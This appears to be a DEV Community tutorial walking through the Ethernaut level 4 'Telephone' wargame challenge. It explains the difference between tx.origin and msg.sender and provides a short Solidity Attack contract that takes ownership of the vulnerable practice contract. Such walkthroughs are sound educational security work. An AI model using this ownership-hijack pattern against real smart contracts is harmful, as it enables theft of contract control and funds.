DEV Community

Cover image for Ethernaut Level 4: Telephone Tutorial
Kamil Polak
Kamil Polak

Posted on

Ethernaut Level 4: Telephone Tutorial

In level 4 of the Ethernaut Game our goal is to claim ownership of the Telephone contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This is a simple contract with only one function and constructor that assigns the ownership to the address that deployed the contract.

Considering that we have only one function it is fairly easy to guess that need to focus on it if we want to win the game.

The changeOwner function takes as argument an address and verifies if (tx.origin != msg.sender).

To claim the ownership we need to first understand what is the difference between tx.origin and msg.sender and why contracts that use the tx.origin to authorize users are vulnerable to phishing attacks.

tx.origin:

  • the original user wallet that initiated the transaction

  • the origin address of potentially an entire chain of transactions and calls

  • only user wallet addresses can be the tx.origin, not contract address

msg.sender:

  • both user wallets and smart contracts can be the msg.sender

  • checks where the external function call directly came from

For more details, I encourage you to read my post about tx.origin
Hack Solidity: Tx Origin Attacks

To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.

Go to Remix IDE and paste a Telephone smart contract. Next, a open new file and create the following contract. Do not forget to import the Telephone contract.

Here we have a constructor that takes the Telephone's contract address. Next, we have a malicious function changeOwner that takes the address of the attacker and uses it to change the ownership of the Telephone contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


import "./Telephone.sol";


contract Attack {

    Telephone telephone;


    constructor(address _address) public {
        telephone = Telephone(_address);
    }

    function changeOwner(address _address) public {
        telephone.changeOwner(_address);


    }


}

Enter fullscreen mode Exit fullscreen mode

Before we deploy the contract let's first check the current Telephone's owner adress.

ethernaut level 4 initial owner

Before you deploy the contract in Remix you need to change the environment to Injected Web3. Next, in the Deploy field put a Telephone contract address

ethernaut level 4 initial owner

To check the address run the following command in the browser console.

ethernaut level 4 initial owner

Once you deploy the contract in the next step you can call the changeOwner function. As an argument put your MetaMask address.

When you call the function you should claim the ownership of the Telephone smart contract. To check that run the following command in the browser console.

ethernaut level 4 new owner

As you can see the owner's address has changed, i.e. I claimed the ownership. Note, your wallet address is different, thus your output will differ from mine.

Top comments (0)